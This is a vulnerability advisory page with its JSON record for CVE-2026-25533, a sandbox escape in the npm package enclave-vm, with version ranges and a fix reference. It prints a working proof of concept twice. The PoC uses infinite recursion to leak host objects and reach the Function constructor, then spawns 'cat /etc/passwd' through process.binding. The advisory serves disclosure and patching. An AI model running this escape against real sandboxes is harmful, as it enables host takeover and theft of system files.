GHSA-X39W-8VM5-5M3P

Vulnerability from github – Published: 2026-02-05 17:49 – Updated: 2026-02-07 00:31
VLAI?
Summary
Sandbox escape via infinite recursion and error objects
Details

Note: The npm package has moved to @enclave-vm/core (formerly enclave-vm).
All fixed versions and guidance refer to @enclave-vm/core.

Summary

The existing layers of security in enclave-vm are insufficient: The AST sanitization can be bypassed with dynamic property accesses, the hardening of the error objects does not cover the peculiar behavior or the vm module and the function constructor access prevention can be side-stepped by leveraging host object references.

Details

There is a bug in Node.js (https://www.staicu.org/publications/usenixSec2023-SandDriller.pdf) that makes the vm module leak host references inside the vm module in case of infinite recursion. An attacker can exploit these to escape the sandbox.

PoC

The following on was tested on Node.js v24.12.0 and enclave-vm 2.7.0.

import { Enclave } from 'enclave-vm';

// Create enclave with a tool handler
const enclave = new Enclave({
  timeout: 5000,
  maxToolCalls: 10,
  maxIterations: 1000,
  toolHandler: async (toolName, args) => {
    // Your tool execution logic
    return { success: true, data: `Called ${toolName}` };
  },
});

// Execute AgentScript code
const result = await enclave.run(`
let res = null, rootProt = null;
let a = () =>{
try {
  a();
} catch (e) {
  rootProt = e[["__proto__"]][["__proto__"]][["__proto__"]];
  res=e.stack
}
}
a();
rootProt[["foo"]] = rootProt[["toString"]][["constructor"]]  
rootProt[["foo"]]("let options = {file: 'cat', args: [null,'/etc/passwd'], envPairs: [], stdio: [{ type: 'pipe', readable: true, writable: false },{ type: 'pipe', readable: false, writable: true },{ type: 'pipe', readable: false, writable: true } ]}; console.log(process.binding('spawn_sync').spawn(options).output[1].toString())")();
`);

Impact

Sandbox escape and potential other escalations on FrontMCP/AgentFront/other Frontegg products.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "enclave-vm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@enclave-vm/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.10.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25533"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-05T17:49:35Z",
    "nvd_published_at": "2026-02-06T22:16:11Z",
    "severity": "MODERATE"
  },
  "details": "**Note:** The npm package has moved to `@enclave-vm/core` (formerly `enclave-vm`).  \nAll fixed versions and guidance refer to `@enclave-vm/core`.\n\n### Summary\nThe existing layers of security in enclave-vm are insufficient: The AST sanitization can be bypassed with dynamic property accesses, the hardening of the error objects does not cover the peculiar behavior or the vm module and the function constructor access prevention can be side-stepped by leveraging host object references.\n\n### Details\nThere is a bug in Node.js (https://www.staicu.org/publications/usenixSec2023-SandDriller.pdf) that makes the vm module leak host references inside the vm module in case of infinite recursion. An attacker can exploit these to escape the sandbox.\n\n### PoC\nThe following on was tested on Node.js v24.12.0 and enclave-vm 2.7.0.\n\n```js\nimport { Enclave } from \u0027enclave-vm\u0027;\n\n// Create enclave with a tool handler\nconst enclave = new Enclave({\n  timeout: 5000,\n  maxToolCalls: 10,\n  maxIterations: 1000,\n  toolHandler: async (toolName, args) =\u003e {\n    // Your tool execution logic\n    return { success: true, data: `Called ${toolName}` };\n  },\n});\n\n// Execute AgentScript code\nconst result = await enclave.run(`\nlet res = null, rootProt = null;\nlet a = () =\u003e{\ntry {\n  a();\n} catch (e) {\n  rootProt = e[[\"__proto__\"]][[\"__proto__\"]][[\"__proto__\"]];\n  res=e.stack\n}\n}\na();\nrootProt[[\"foo\"]] = rootProt[[\"toString\"]][[\"constructor\"]]  \nrootProt[[\"foo\"]](\"let options = {file: \u0027cat\u0027, args: [null,\u0027/etc/passwd\u0027], envPairs: [], stdio: [{ type: \u0027pipe\u0027, readable: true, writable: false },{ type: \u0027pipe\u0027, readable: false, writable: true },{ type: \u0027pipe\u0027, readable: false, writable: true } ]}; console.log(process.binding(\u0027spawn_sync\u0027).spawn(options).output[1].toString())\")();\n`);\n\n```\n### Impact\nSandbox escape and potential other escalations on FrontMCP/AgentFront/other Frontegg products.",
  "id": "GHSA-x39w-8vm5-5m3p",
  "modified": "2026-02-07T00:31:46Z",
  "published": "2026-02-05T17:49:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/agentfront/enclave/security/advisories/GHSA-x39w-8vm5-5m3p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25533"
    },
    {
      "type": "WEB",
      "url": "https://github.com/agentfront/enclave/commit/2fcf5da81e7e2578ede6f94cae4f379165426dca"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/agentfront/enclave"
    },
    {
      "type": "WEB",
      "url": "https://www.staicu.org/publications/usenixSec2023-SandDriller.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Sandbox escape via infinite recursion and error objects"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…